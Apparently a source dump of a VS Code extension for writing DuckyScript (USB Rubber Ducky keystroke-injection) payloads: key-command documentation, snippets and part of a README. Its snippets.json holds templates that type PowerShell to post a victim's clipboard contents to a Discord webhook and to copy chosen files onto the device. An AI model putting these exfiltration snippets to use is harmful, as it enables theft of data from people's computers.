| text: "PAGEDOWN" 148 | },{ 149 | label: "CURSOR.HOME", 150 | detail: "Cursor keys to press HOME", 151 | doc: new vscode.MarkdownString(` 152 | # HOME 153 | 154 | The cursor keys are used to navigate the cursor to a different position on the screen. 155 | 156 | \`HOME\` 157 | 158 | `), 159 | text: "HOME" 160 | },{ 161 | label: "CURSOR.END", 162 | detail: "Cursor keys to press END", 163 | doc: new vscode.MarkdownString(` 164 | # END 165 | 166 | The cursor keys are used to navigate the cursor to a different position on the screen. 167 | 168 | \`END\` 169 | 170 | `), 171 | text: "END" 172 | },{ 173 | label: "CURSOR.INSERT", 174 | detail: "Cursor keys to press INSERT", 175 | doc: new vscode.MarkdownString(` 176 | # INSERT 177 | 178 | The cursor keys are used to navigate the cursor to a different position on the screen. 179 | 180 | \`INSERT\` 181 | 182 | `), 183 | text: "INSERT" 184 | },{ 185 | label: "CURSOR.DELETE", 186 | detail: "Cursor keys to press DELETE", 187 | doc: new vscode.MarkdownString(` 188 | # DELETE 189 | 190 | The cursor keys are used to navigate the cursor to a different position on the screen. 191 | 192 | \`DELETE\` 193 | 194 | `), 195 | text: "DELETE" 196 | },{ 197 | label: "CURSOR.DEL", 198 | detail: "Cursor keys to press DEL", 199 | doc: new vscode.MarkdownString(` 200 | # DEL 201 | 202 | The cursor keys are used to navigate the cursor to a different position on the screen. 203 | 204 | \`DEL\` 205 | 206 | `), 207 | text: "DEL" 208 | },{ 209 | label: "CURSOR.BACKSPACE", 210 | detail: "Cursor keys to press BACKSPACE", 211 | doc: new vscode.MarkdownString(` 212 | # BACKSPACE 213 | 214 | The cursor keys are used to navigate the cursor to a different position on the screen. 215 | 216 | \`BACKSPACE\` 217 | 218 | `), 219 | text: "BACKSPACE" 220 | },{ 221 | label: "CURSOR.TAB", 222 | detail: "Cursor keys to press TAB", 223 | doc: new vscode.MarkdownString(` 224 | # TAB 225 | 226 | The cursor keys are used to navigate the cursor to a different position on the screen. 227 | 228 | \`TAB\` 229 | 230 | `), 231 | text: "TAB" 232 | },{ 233 | label: "CURSOR.SPACE", 234 | detail: "Cursor keys to press SPACE", 235 | doc: new vscode.MarkdownString(` 236 | # SPACE 237 | 238 | The cursor keys are used to navigate the cursor to a different position on the screen. 239 | 240 | \`SPACE\` 241 | 242 | `), 243 | text: "SPACE" 244 | } 245 | 246 | ]; -------------------------------------------------------------------------------- /snippets/snippets.json: -------------------------------------------------------------------------------- 1 | { 2 | "3.0) Intro": { 3 | "prefix": "3) Intro", 4 | "body": [ 5 | "REM_BLOCK", 6 | "#############################", 7 | "# #", 8 | "# Title : $1 #", 9 | "# Author : $2 #", 10 | "# Version : 1.0 #", 11 | "# Category : $3 #", 12 | "# Target : $4 #", 13 | "# #", 14 | "#############################", 15 | "END_REM" 16 | ], 17 | "description": "DuckyScript 3.0 - Create an introduction for your script by setting up commonly used components." 18 | }, 19 | "1.0) Intro": { 20 | "prefix": "1) Intro", 21 | "body": [ 22 | "REM #############################", 23 | "REM # #", 24 | "REM # Title : $1 #", 25 | "REM # Author : $2 #", 26 | "REM # Version : 1.0 #", 27 | "REM # Category : $3 #", 28 | "REM # Target : $4 #", 29 | "REM # #", 30 | "REM #############################" 31 | ], 32 | "description": "DuckyScript 1.0 - Create an introduction for your script by setting up commonly used components." 33 | }, 34 | "3.0) Save Files In Rubber Ducky Storage - Windows": { 35 | "prefix": "3) Save Files In Rubber Ducky Storage - Windows", 36 | "body": [ 37 | "EXTENSION SAVE_FILES_IN_RUBBER_DUCKY_STORAGE_WINDOWS", 38 | "REM VERSION 1.0", 39 | "REM AUTHOR: Aleff", 40 | "REM_BLOCK Documentation", 41 | " This extension is used to save one or more files through the USB Rubber Ducky storage.", 42 | "", 43 | " TARGET:", 44 | " Windows 10/11", 45 | "", 46 | " USAGE:", 47 | " Insert this extension when you have one or more files that you want to save in your USB Rubber Ducky.", 48 | "", 49 | " CONFIGURATION:", 50 | " Set #DRIVER_LABEL variable with the correct Label of your USB Rubber Ducky considering that the default value is 'DUCK'.", 51 | "", 52 | " Set #FLAG_SINGLE_FILE with TRUE if you want to save just one file.", 53 | " In this case you will need to specify the file path within the #SINGLE_PATH variable OR, in case the exact path to the file you can only acquire it at runtime and so via the powershell, use in the powershell the \\$fileToSavePath variable to capture this path.", 54 | " i.e. in DuckyScript EXTENSION", 55 | " DEFINE #SINGLE_PATH C:\\Users\\Aleff\\Downloads\\photo.png", 56 | " i.e. in PowerShell before extension", 57 | " \\$fileToSavePath = \"C:\\Users\\Aleff\\Downloads\\photo.png\"", 58 | "", 59 | " Set #FLAG_SINGLE_FILE FALSE if you want to send multiple files.", 60 | " In this case in the PowerShell you will have to create the variable \\$fileToSavePaths, which is an array of strings that should contain the list of paths related to the files you want to save.", 61 | " i.e. in PowerShell before extension:", 62 | " \\$fileToSavePaths = @(", 63 | " \"C:\\Users\\Aleff\\Downloads\\photo.png\",", 64 | " \"C:\\Users\\Aleff\\Downloads\\document.pdf\",", 65 | " \"C:\\Users\\Aleff\\Downloads\\song.mp3\"", 66 | " )", 67 | " Some tips:", 68 | " How to create an Array?", 69 | " > \\$fileToSavePaths = @()", 70 | " How to add an element?", 71 | " > \\$fileToSavePaths += \"C:\\Users\\Aleff\\Downloads\\photo.png\"", 72 | " How to see the array?", 73 | " > \\$fileToSavePaths", 74 | "END_REM", 75 | "REM Settings", 76 | "DEFINE #DRIVER_LABEL $1", 77 | "DEFINE #FLAG_SINGLE_FILE $2", 78 | "DEFINE #SINGLE_PATH $3", 79 | "", 80 | "REM Extension Code", 81 | "FUNCTION SAVE_SINGLE_FILE()", 82 | " IF ( #SINGLE_PATH != 0 ) THEN", 83 | " STRINGLN mv #SINGLE_PATH >> \\${m}:\"", 84 | " ELSE IF ( #SINGLE_PATH == 0 ) THEN", 85 | " STRINGLN mv \\${fileToSavePath} >> \\${m}:\"", 86 | " END_IF", 87 | "END_FUNCTION", 88 | "", 89 | "FUNCTION SAVE_MULTIPLE_FILES()", 90 | " STRINGLN", 91 | " foreach (\\$fileToSavePath in \\$fileToSavePaths) {", 92 | " mv \\${fileToSavePath} >> \\${m}:\"", 93 | " }", 94 | " END_STRINGLN", 95 | "END_FUNCTION", 96 | "", 97 | "STRINGLN \\$m=(Get-Volume -FileSystemLabel '#DRIVER_LABEL').DriveLetter;", 98 | "IF_DEFINED_TRUE #FLAG_SINGLE_FILE", 99 | " SAVE_SINGLE_FILE()", 100 | "END_IF_DEFINED", 101 | "IF_NOT_DEFINED_TRUE #FLAG_SINGLE_FILE", 102 | " SAVE_MULTIPLE_FILES()", 103 | "END_IF_DEFINED", 104 | "END_EXTENSION" 105 | ], 106 | "description": "DuckyScript 3.0 - This extension is used to save one or more files through the USB Rubber Ducky storage." 107 | },"3.0) Exfiltrate Payload Copied Using Discord Webhook": { 108 | "prefix": "3) Exfiltrate Payload Copied Using Discord Webhook", 109 | "body": [ 110 | "REM You must define your Discord webhook if you want to use this method for the exfiltration", 111 | "DEFINE #DISCORD_WEBHOOK $1", 112 | "REM Exfiltration using Discord Webhook", 113 | "STRINGLN \\$WebhookUrl = \"#DISCORD_WEBHOOK\"", 114 | "", 115 | "STRING \\$Payload = @{content = \"", 116 | "CTRL v", 117 | "STRINGLN \"} | ConvertTo-Json", 118 | "", 119 | "STRINGLN Invoke-RestMethod -Uri \\$WebhookUrl -Method Post -Body \\$Payload -ContentType 'application/json'; exit;" 120 | ], 121 | "description": "DuckyScript 3.0 - Exfiltrates copied text using Discord Webhooks. To complete the extraction, the “CTRL v” command combo is used to paste the payload to be exfiltrated." 122 | }, 123 | "1.0) Exfiltrate Payload Copied Using Discord Webhook": { 124 | "prefix": "1) Exfiltrate Payload Copied Using Discord Webhook", 125 | "body": [ 126 | "REM You must define your Discord webhook if you want to use this method for the exfiltration", 127 | "REM Exfiltration using Discord Webhook", 128 | "STRING \\$WebhookUrl = \"$1\"", 129 | "ENTER", 130 | "", 131 | "STRING \\$Payload = @{content = \"", 132 | "CTRL v", 133 | "STRING \"} | ConvertTo-Json", 134 | "ENTER", 135 | "", 136 | "STRING Invoke-RestMethod -Uri \\$WebhookUrl -Method Post -Body \\$Payload -ContentType 'application/json'; exit;", 137 | "ENTER" 138 | ], 139 | "description": "DuckyScript 1.0 - Exfiltrates copied text using Discord Webhooks. To complete the extraction, the “CTRL v” command combo is used to paste the payload to be exfiltrated." 140 | } 141 | } -------------------------------------------------------------------------------- /src/commands/lock.ts: -------------------------------------------------------------------------------- 1 | import * as vscode from 'vscode'; 2 | import { CommandInfo } from './structure' 3 | 4 | 5 | export const LOCK_COMMANDS: CommandInfo[] = [ 6 | { 7 | label: "LOCK-KEYS", 8 | detail: "Lock keys toggle the lock state", 9 | doc: new vscode.MarkdownString(` 10 | # LOCK KEYS 11 | 12 | Lock keys toggle the lock state (on or off) and typically change the interpretation of subsequent keypresses. For example, caps lock generally makes all subsequent letter keys appear in uppercase. 13 | 14 | \`CAPSLOCK\` 15 | 16 | \`NUMLOCK\` 17 | 18 | \`SCROLLOCK\` 19 | 20 | 21 | `), 22 | text: "" 23 | },{ 24 | label: "LOCK.CAPSLOCK", 25 | detail: "CAPSLOCK key", 26 | doc: new vscode.MarkdownString(` 27 | # CAPSLOCK 28 | 29 | Lock keys toggle the lock state (on or off) and typically change the interpretation of subsequent keypresses. For example, caps lock generally makes all subsequent letter keys appear in uppercase. 30 | 31 | \`CAPSLOCK\` 32 | 33 | `), 34 | text: "CAPSLOCK" 35 | },{ 36 | label: "LOCK.NUMLOCK", 37 | detail: "NUMLOCK key", 38 | doc: new vscode.MarkdownString(` 39 | # NUMLOCK 40 | 41 | Lock keys toggle the lock state (on or off) and typically change the interpretation of subsequent keypresses. For example, caps lock generally makes all subsequent letter keys appear in uppercase. 42 | 43 | \`NUMLOCK\` 44 | 45 | `), 46 | text: "NUMLOCK" 47 | },{ 48 | label: "LOCK.SCROLLOCK", 49 | detail: "SCROLLOCK key", 50 | doc: new vscode.MarkdownString(` 51 | # SCROLLOCK 52 | 53 | Lock keys toggle the lock state (on or off) and typically change the interpretation of subsequent keypresses. For example, caps lock generally makes all subsequent letter keys appear in uppercase. 54 | 55 | \`SCROLLOCK\`\`\` 56 | 57 | `), 58 | text: "SCROLLOCK" 59 | },{ 60 | label: "LOCK.WAIT-FOR-COMMANDS", 61 | detail: "", 62 | doc: new vscode.MarkdownString(` 63 | # WAIT FOR COMMANDS 64 | 65 | USB HID devices contain both IN endpoints for data (keystrokes) from the keyboard to computer, and OUT endpoints for data (LED states) from the computer to the keyboard. In many cases the LED state control codes sent from the computer to the attached keyboard are sent to all attached "keyboards". Versions of macOS behave differently. 66 | 67 | \`WAIT_FOR_CAPS_ON\` - *Pause until caps lock is turned on* 68 | 69 | \`WAIT_FOR_CAPS_OFF\` - *Pause until caps lock is turned off* 70 | 71 | \`WAIT_FOR_CAPS_CHANGE\` - *Pause until caps lock is toggled on or off* 72 | 73 | \`WAIT_FOR_NUM_ON\` - *Pause until num lock is turned on* 74 | 75 | \`WAIT_FOR_NUM_OFF\` - *Pause until num lock is turned off* 76 | 77 | \`WAIT_FOR_NUM_CHANGE\` - *Pause until num lock is toggled on or off* 78 | 79 | \`WAIT_FOR_SCROLL_ON\` - *Pause until scroll lock is turned on* 80 | 81 | \`WAIT_FOR_SCROLL_OFF\` - *Pause until scroll lock is turned off* 82 | 83 | \`WAIT_FOR_SCROLL_CHANGE\` - *Pause until scroll lock is toggled on or off* 84 | 85 | \`\`\` 86 | STRINGLN Hello, 87 | STRINGLN [Press caps lock to continue...] 88 | WAIT_FOR_CAPS_CHANGE 89 | STRINGLN World! 90 | \`\`\` 91 | 92 | `), 93 | text: "" 94 | },{ 95 | label: "LOCK.WAIT-FOR-COMMANDS.WAIT_FOR_CAPS_ON", 96 | detail: "", 97 | doc: new vscode.MarkdownString(` 98 | # WAIT FOR CAPS ON 99 | 100 | Pause until caps lock is turned on 101 | 102 | `), 103 | text: "WAIT_FOR_CAPS_ON" 104 | },{ 105 | label: "LOCK.WAIT-FOR-COMMANDS.WAIT_FOR_CAPS_OFF", 106 | detail: "", 107 | doc: new vscode.MarkdownString(` 108 | # WAIT FOR CAPS OFF 109 | 110 | Pause until caps lock is turned off 111 | 112 | `), 113 | text: "WAIT_FOR_CAPS_OFF" 114 | },{ 115 | label: "LOCK.WAIT-FOR-COMMANDS.WAIT_FOR_CAPS_CHANGE", 116 | detail: "", 117 | doc: new vscode.MarkdownString(` 118 | # WAIT FOR CAPS CHANGE 119 | 120 | Pause until caps lock is toggled on or off 121 | 122 | `), 123 | text: "WAIT_FOR_CAPS_CHANGE" 124 | },{ 125 | label: "LOCK.WAIT-FOR-COMMANDS.WAIT_FOR_NUM_ON", 126 | detail: "", 127 | doc: new vscode.MarkdownString(` 128 | # WAIT FOR NUM ON 129 | 130 | Pause until num lock is turned on 131 | 132 | `), 133 | text: "WAIT_FOR_NUM_ON" 134 | },{ 135 | label: "LOCK.WAIT-FOR-COMMANDS.WAIT_FOR_NUM_OFF", 136 | detail: "", 137 | doc: new vscode.MarkdownString(` 138 | # WAIT FOR NUM OFF 139 | 140 | Pause until num lock is turned off 141 | 142 | `), 143 | text: "WAIT_FOR_NUM_OFF" 144 | },{ 145 | label: "LOCK.WAIT-FOR-COMMANDS.WAIT_FOR_NUM_CHANGE", 146 | detail: "", 147 | doc: new vscode.MarkdownString(` 148 | # WAIT FOR NUM CHANGE 149 | 150 | Pause until num lock is toggled on or off 151 | 152 | `), 153 | text: "WAIT_FOR_NUM_CHANGE" 154 | },{ 155 | label: "LOCK.WAIT-FOR-COMMANDS.WAIT_FOR_SCROLL_ON", 156 | detail: "", 157 | doc: new vscode.MarkdownString(` 158 | # WAIT FOR SCROLL ON 159 | 160 | Pause until scroll lock is turned on 161 | 162 | `), 163 | text: "WAIT_FOR_SCROLL_ON" 164 | },{ 165 | label: "LOCK.WAIT-FOR-COMMANDS.WAIT_FOR_SCROLL_OFF", 166 | detail: "", 167 | doc: new vscode.MarkdownString(` 168 | # WAIT FOR SCROLL OFF 169 | 170 | Pause until scroll lock is turned off 171 | 172 | `), 173 | text: "WAIT_FOR_SCROLL_OFF" 174 | },{ 175 | label: "LOCK.WAIT-FOR-COMMANDS.WAIT_FOR_SCROLL_CHANGE", 176 | detail: "", 177 | doc: new vscode.MarkdownString(` 178 | # WAIT FOR SCROLL CHANGE 179 | 180 | Pause until scroll lock is toggled on or off 181 | 182 | `), 183 | text: "WAIT_FOR_SCROLL_CHANGE" 184 | },{ 185 | label: "LOCK.SAVE_HOST_KEYBOARD_LOCK_STATE", 186 | detail: "", 187 | doc: new vscode.MarkdownString(` 188 | # SAVE HOST KEYBOARD LOCK STATE 189 | 190 | The currently reported lock key states may be saved and later recalled using the \`SAVE_HOST_KEYBOARD_LOCK_STATE\` and \`RESTORE_HOST_KEYBOARD_LOCK_STATE\` commands. 191 | 192 | \`\`\` 193 | REM Save the LED states of the primary keyboard 194 | SAVE_HOST_KEYBOARD_LOCK_STATE 195 | REM Change the lock states 196 | CAPSLOCK 197 | NUMLOCK 198 | REM Restore the original lock states 199 | RESTORE_HOST_KEYBOARD_LOCK_STATE 200 | \`\`\` 201 | 202 | `), 203 | text: "SAVE_HOST_KEYBOARD_LOCK_STATE" 204 | },{ 205 | label: "LOCK.RESTORE_HOST_KEYBOARD_LOCK_STATE", 206 | detail: "", 207 | doc: new vscode.MarkdownString(` 208 | # RESTORE HOST KEYBOARD LOCK STATE 209 | 210 | The currently reported lock key states may be saved and later recalled using the \`SAVE_HOST_KEYBOARD_LOCK_STATE\` and \`RESTORE_HOST_KEYBOARD_LOCK_STATE\` commands. 211 | 212 | \`\`\` 213 | REM Save the LED states of the primary keyboard 214 | SAVE_HOST_KEYBOARD_LOCK_STATE 215 | REM Change the lock states 216 | CAPSLOCK 217 | NUMLOCK 218 | REM Restore the original lock states 219 | RESTORE_HOST_KEYBOARD_LOCK_STATE 220 | \`\`\` 221 | 222 | `), 223 | text: "RESTORE_HOST_KEYBOARD_LOCK_STATE" 224 | } 225 | ]; -------------------------------------------------------------------------------- /src/commands/system.ts: -------------------------------------------------------------------------------- 1 | import * as vscode from 'vscode'; 2 | import { CommandInfo } from './structure' 3 | 4 | 5 | // Here we define our commands with corresponding descriptions 6 | export const SYSTEM_COMMANDS: CommandInfo[] = [ 7 | { 8 | label: "SYSTEM-KEYS", 9 | detail: "System keys", 10 | doc: new vscode.MarkdownString(` 11 | # SYSTEM KEYS 12 | 13 | System keys are primarily used by the operating system for special functions and may be used to interact with both text areas and navigating the user interface. 14 | 15 | \`ENTER\` 16 | 17 | \`ESCAPE\` 18 | 19 | \`PAUSE BREAK\` 20 | 21 | \`PRINTSCREEN\` 22 | 23 | \`MENU APP\` 24 | 25 | \`F1\` \`F2\` \`F3\` \`F4\` \`F5\` \`F6\` \`F7\` \`F8\` \`F9\` \`F0\` \`F11\` \`F12\` 26 | 27 | `), 28 | text: "" 29 | },{ 30 | label: "SYSTEM.ENTER", 31 | detail: "ENTER system key", 32 | doc: new vscode.MarkdownString(` 33 | # ENTER 34 | 35 | System keys are primarily used by the operating system for special functions and may be used to interact with both text areas and navigating the user interface. 36 | 37 | \`ENTER\` 38 | 39 | `), 40 | text: "ENTER" 41 | },{ 42 | label: "SYSTEM.ESCAPE", 43 | detail: "ESCAPE system key", 44 | doc: new vscode.MarkdownString(` 45 | # ESCAPE 46 | 47 | System keys are primarily used by the operating system for special functions and may be used to interact with both text areas and navigating the user interface. 48 | 49 | \`ESCAPE\` 50 | 51 | `), 52 | text: "ESCAPE" 53 | },{ 54 | label: "SYSTEM.PAUSE-BREAK", 55 | detail: "PAUSE BREAK system key", 56 | doc: new vscode.MarkdownString(` 57 | # PAUSE BREAK 58 | 59 | System keys are primarily used by the operating system for special functions and may be used to interact with both text areas and navigating the user interface. 60 | 61 | \`PAUSE BREAK\` 62 | 63 | `), 64 | text: "PAUSE BREAK" 65 | },{ 66 | label: "SYSTEM.PRINTSCREEN", 67 | detail: "PRINTSCREEN system key", 68 | doc: new vscode.MarkdownString(` 69 | # PRINTSCREEN 70 | 71 | System keys are primarily used by the operating system for special functions and may be used to interact with both text areas and navigating the user interface. 72 | 73 | \`PRINTSCREEN\` 74 | 75 | `), 76 | text: "PRINTSCREEN" 77 | },{ 78 | label: "SYSTEM.MENU-APP", 79 | detail: "MENU APP system key", 80 | doc: new vscode.MarkdownString(` 81 | # MENU APP 82 | 83 | System keys are primarily used by the operating system for special functions and may be used to interact with both text areas and navigating the user interface. 84 | 85 | \`MENU APP\` 86 | 87 | `), 88 | text: "MENU APP" 89 | },{ 90 | label: "SYSTEM.F1", 91 | detail: "F1 system key", 92 | doc: new vscode.MarkdownString(` 93 | # F1 94 | 95 | System keys are primarily used by the operating system for special functions and may be used to interact with both text areas and navigating the user interface. 96 | 97 | \`F1\` 98 | 99 | `), 100 | text: "F1" 101 | },{ 102 | label: "SYSTEM.F2", 103 | detail: "F2 system key", 104 | doc: new vscode.MarkdownString(` 105 | # F2 106 | 107 | System keys are primarily used by the operating system for special functions and may be used to interact with both text areas and navigating the user interface. 108 | 109 | \`F2\` 110 | 111 | `), 112 | text: "F2" 113 | },{ 114 | label: "SYSTEM.F3", 115 | detail: "F3 system key", 116 | doc: new vscode.MarkdownString(` 117 | # F3 118 | 119 | System keys are primarily used by the operating system for special functions and may be used to interact with both text areas and navigating the user interface. 120 | 121 | \`F3\` 122 | 123 | `), 124 | text: "F3" 125 | },{ 126 | label: "SYSTEM.F4", 127 | detail: "F4 system key", 128 | doc: new vscode.MarkdownString(` 129 | # F4 130 | 131 | System keys are primarily used by the operating system for special functions and may be used to interact with both text areas and navigating the user interface. 132 | 133 | \`F4\` 134 | 135 | `), 136 | text: "F4" 137 | },{ 138 | label: "SYSTEM.F5", 139 | detail: "F5 system key", 140 | doc: new vscode.MarkdownString(` 141 | # F5 142 | 143 | System keys are primarily used by the operating system for special functions and may be used to interact with both text areas and navigating the user interface. 144 | 145 | \`F5\` 146 | 147 | `), 148 | text: "F5" 149 | },{ 150 | label: "SYSTEM.F6", 151 | detail: "F6 system key", 152 | doc: new vscode.MarkdownString(` 153 | # F6 154 | 155 | System keys are primarily used by the operating system for special functions and may be used to interact with both text areas and navigating the user interface. 156 | 157 | \`F6\` 158 | 159 | `), 160 | text: "F6" 161 | },{ 162 | label: "SYSTEM.F7", 163 | detail: "F7 system key", 164 | doc: new vscode.MarkdownString(` 165 | # F7 166 | 167 | System keys are primarily used by the operating system for special functions and may be used to interact with both text areas and navigating the user interface. 168 | 169 | \`F7\` 170 | 171 | `), 172 | text: "F7" 173 | },{ 174 | label: "SYSTEM.F8", 175 | detail: "F8 system key", 176 | doc: new vscode.MarkdownString(` 177 | # F8 178 | 179 | System keys are primarily used by the operating system for special functions and may be used to interact with both text areas and navigating the user interface. 180 | 181 | \`F8\` 182 | 183 | `), 184 | text: "F8" 185 | },{ 186 | label: "SYSTEM.F9", 187 | detail: "F9 system key", 188 | doc: new vscode.MarkdownString(` 189 | # F9 190 | 191 | System keys are primarily used by the operating system for special functions and may be used to interact with both text areas and navigating the user interface. 192 | 193 | \`F9\` 194 | 195 | `), 196 | text: "F9" 197 | },{ 198 | label: "SYSTEM.F10", 199 | detail: "F10 system key", 200 | doc: new vscode.MarkdownString(` 201 | # F10 202 | 203 | System keys are primarily used by the operating system for special functions and may be used to interact with both text areas and navigating the user interface. 204 | 205 | \`F10\` 206 | 207 | `), 208 | text: "F10" 209 | },{ 210 | label: "SYSTEM.F11", 211 | detail: "F11 system key", 212 | doc: new vscode.MarkdownString(` 213 | # F11 214 | 215 | System keys are primarily used by the operating system for special functions and may be used to interact with both text areas and navigating the user interface. 216 | 217 | \`F11\` 218 | 219 | `), 220 | text: "F11" 221 | },{ 222 | label: "SYSTEM.F12", 223 | detail: "F12 system key", 224 | doc: new vscode.MarkdownString(` 225 | # F12 226 | 227 | System keys are primarily used by the operating system for special functions and may be used to interact with both text areas and navigating the user interface. 228 | 229 | \`F12\` 230 | 231 | `), 232 | text: "F12" 233 | } 234 | ]; -------------------------------------------------------------------------------- /src/commands/general.ts: -------------------------------------------------------------------------------- 1 | import * as vscode from 'vscode'; 2 | import { CommandInfo } from './structure' 3 | 4 | 5 | export const GENERAL_COMMANDS: CommandInfo[] = [ 6 | { 7 | label: "REM", 8 | detail: "Inline comment", 9 | doc: new vscode.MarkdownString(` 10 | # REM 11 | 12 | The \`REM\` command does not perform any keystroke injection functions. \`REM\` gets its name from the word remark. While \`REM\` may be used to add vertical spacing within a payload, blank lines are also acceptable and will not be processed by the compiler. 13 | 14 | \`\`\` 15 | REM This is a comment 16 | \`\`\` 17 | 18 | `), 19 | text: "REM Hello World!" 20 | }, 21 | { 22 | label: "REM_BLOCK", 23 | detail: "Block comment", 24 | doc: new vscode.MarkdownString(` 25 | # REM BLOCK 26 | 27 | Defining a comment block is simple! Start the comment with \`REM_BLOCK\` and end the comment with \`END_REM\`; everything in between will be considered a comment without the need to prepend every new line with \`REM\`. Comment blocks can be especially useful when you have multiple lines to be included in a single comment or want to retain formatting. 28 | 29 | \`\`\` 30 | REM_BLOCK DOCUMENTATION 31 | USAGE: 32 | Place at beginning of payload (besides ATTACKMODE) to act as dynamic boot delay 33 | TARGETS: 34 | Any system that reflects CAPSLOCK will detect minimum required delay 35 | Any system that does not reflect CAPSLOCK will hit the max delay of 3000ms 36 | END_REM 37 | \`\`\` 38 | 39 | `), 40 | text: "REM_BLOCK\n\tHello World!\nEND_REM" 41 | },{ 42 | label: "STRING", 43 | detail: "Writes a string", 44 | doc: new vscode.MarkdownString(` 45 | # STRING 46 | 47 | The \`STRING\` command keystroke injects (types) a series of keystrokes. \`STRING\` will automatically interpret uppercase letters by holding the \`SHIFT\` modifier key where necessary. The \`STRING\` command will also automatically press the SPACE cursor key, however trailing spaces will be omitted. 48 | 49 | \`\`\` 50 | STRING The quick brown fox jumps over the lazy dog 51 | \`\`\` 52 | 53 | `), 54 | text: "STRING Hello World!" 55 | },{ 56 | label: "STRINGLN", 57 | detail: "Writes a string then press enter", 58 | doc: new vscode.MarkdownString(` 59 | # STRINGLN 60 | 61 | The \`STRINGLN\` command, like \`STRING\`, will inject a series of keystrokes then terminate with a carriage return (\`ENTER\`). 62 | 63 | \`\`\` 64 | STRINGLN _ _ _ USB _ _ _ 65 | STRINGLN __(.)< __(.)> __(.)= Rubber >(.)__ <(.)__ =(.)__ 66 | STRINGLN \___) \___) \___) Ducky! (___/ (___/ (___/ 67 | \`\`\` 68 | 69 | `), 70 | text: "STRINGLN Hello World!" 71 | },{ 72 | label: "STRING BLOCK", 73 | detail: "A block of strings", 74 | doc: new vscode.MarkdownString(` 75 | # STRING BLOCK 76 | 77 | \`STRING\` blocks can be used effectively to convert multiple lines into one without needing to prepend each line with \`STRING\` 78 | 79 | \`\`\` 80 | STRING 81 | a 82 | b 83 | c 84 | END_STRING 85 | \`\`\` 86 | 87 | is the equivalent of 88 | 89 | \`\`\` 90 | STRING a 91 | STRING b 92 | STRING c 93 | \`\`\` 94 | 95 | Or in this case: \`STRING abc\` 96 | 97 | `), 98 | text: "STRING\n\tHello \n\tWorld!\nEND_STRING" 99 | },{ 100 | label: "STRINGLN BLOCK", 101 | detail: "A block of strings and enter", 102 | doc: new vscode.MarkdownString(` 103 | # STRINGLN BLOCK 104 | 105 | \`STRINGLN\` blocks can be used like [here-doc](https://en.wikipedia.org/wiki/Here_document); allowing you to inject multiple lines as they are written in the payload. 106 | 107 | \`\`\` 108 | STRINGLN 109 | a 110 | b 111 | c 112 | END_STRINGLN 113 | \`\`\` 114 | 115 | is the equivalent of 116 | 117 | \`\`\` 118 | STRINGLN a 119 | STRINGLN b 120 | STRINGLN c 121 | \`\`\` 122 | 123 | ## Result 124 | 125 | Deploying this payload will produce the following keystroke injection on the target machine: 126 | 127 | \`\`\` 128 | a 129 | b 130 | c 131 | \`\`\` 132 | 133 | `), 134 | text: "STRINGLN\n\tHello \n\tWorld!\nEND_STRINGLN" 135 | },{ 136 | label: "DELAY", 137 | detail: "Difficult to see. Always in motion is the future...", 138 | doc: new vscode.MarkdownString(` 139 | # DELAY 140 | 141 | The \`DELAY\` command instructs the USB Rubber Ducky to momentarily pause execution of the payload. This is useful when deploying a payload which must "wait" for an element — such as a window — to load. The \`DELAY\` command accepts the time parameter in milliseconds. 142 | 143 | \`\`\` 144 | DELAY for 100 milliseconds (one tenth of a second) 145 | DELAY 100 146 | \`\`\` 147 | 148 | **The minimum delay value is 20!** 149 | 150 | The \`DELAY\` command may also accept an integer variable. 151 | 152 | \`\`\` 153 | VAR $WAIT = 500 154 | DELAY $WAIT 155 | \`\`\` 156 | 157 | `), 158 | text: "DELAY" 159 | },{ 160 | label: "INJECT_MOD", 161 | detail: "Standalone Modifier Keys", 162 | doc: new vscode.MarkdownString(` 163 | # INJECT_MOD 164 | 165 | Injecting a modifier key alone without another key — such as pressing the \`WINDOWS\` key — may be achieved by prepending the modifier key with the \`INJECT_MOD\` command. 166 | 167 | \`\`\` 168 | REM Example pressing Windows key alone 169 | INJECT_MOD WINDOWS 170 | \`\`\` 171 | 172 | `), 173 | text: "INJECT_MOD" 174 | },{ 175 | label: "HOLDING KEYS", 176 | detail: "Standalone Modifier Keys", 177 | doc: new vscode.MarkdownString(` 178 | # HOLDING KEYS 179 | 180 | A key may be held, rather than pressed, by specifying a \`HOLD\` and \`RELEASE\` command with a \`DELAY\` in between the two. Both \`HOLD\` and \`RELEASE\` must specify a key. [Multiple simultaneous keys](https://docs.hak5.org/hak5-usb-rubber-ducky/advanced-features/holding-keys#holding-multiple-keys) may be held. 181 | 182 | \`\`\` 183 | HOLD a 184 | DELAY 2000 185 | RELEASE a 186 | 187 | REM May produce any mumber of "aaaaa" keys, depending on the repeat rate of 188 | REM the target OS. On macOS may open the accent menu. 189 | 190 | INJECT_MOD 191 | HOLD WINDOWS 192 | DELAY 4000 193 | RELEASE WINDOWS 194 | 195 | REM Will hold the Windows key for 4 seconds. Note the use of INJECT_MOD 196 | REM when using a modifier key without a key combination. 197 | \`\`\` 198 | 199 | `), 200 | text: "HOLD ...\nDELAY 500 \nRELEASE ..." 201 | },{ 202 | label: "JITTER", 203 | detail: "", 204 | doc: new vscode.MarkdownString(` 205 | # JITTER 206 | 207 | Jitter randomly varies the delay between individual key presses based on the seed.bin value. 208 | 209 | \`$_JITTER_ENABLED\` - Set TRUE to enable and FALSE to disable jitter. 210 | 211 | \`$_JITTER_MAX\` - Integer (0-65535) of maximum time in milliseconds between keystrokes. Default 20. 212 | 213 | \`\`\` 214 | $_JITTER_MAX = 60 215 | $_JITTER_ENABLED = TRUE 216 | STRINGLN The quick brown fox jumps over the lazy dog 217 | \`\`\` 218 | 219 | `), 220 | text: "$_JITTER_" 221 | } 222 | ]; -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # 🦆 DuckyScript Cookbook 2 | 3 | Welcome to the **DuckyScript Cookbook** - your quacktastic assistant for whipping up DuckyScript magic in no time! 🚀 4 | 5 | ## Available On 6 | 7 | 🌟 VSCodium logo **VSCodium** 🌟 VSCode logo **VSCode** 🌟 8 | 9 | _This is not an official extension of Hak5 or Flipper Zero but was developed by a third party._ 10 | 11 | ![](https://github.com/aleff-github/Deposito/blob/main/DuckyScriptCookbook/Hak5%20Disclaimer.png?raw=true) 12 | 13 | ## Index 14 | 15 | - [Features](#features) 16 | - [How To](#how-to-use-this-ducktastic-extension-) 17 | - [Threads](#threads) 18 | - [Other Stuff](#other-stuff) 19 | 20 | ## Features 21 | 22 | ### New Feature: Tips While Writing (*This feature is not yet complete*) 23 | 24 | Now while you are writing you just need to press the CTRL SPACE combination to get some great tips from the official [Hak5 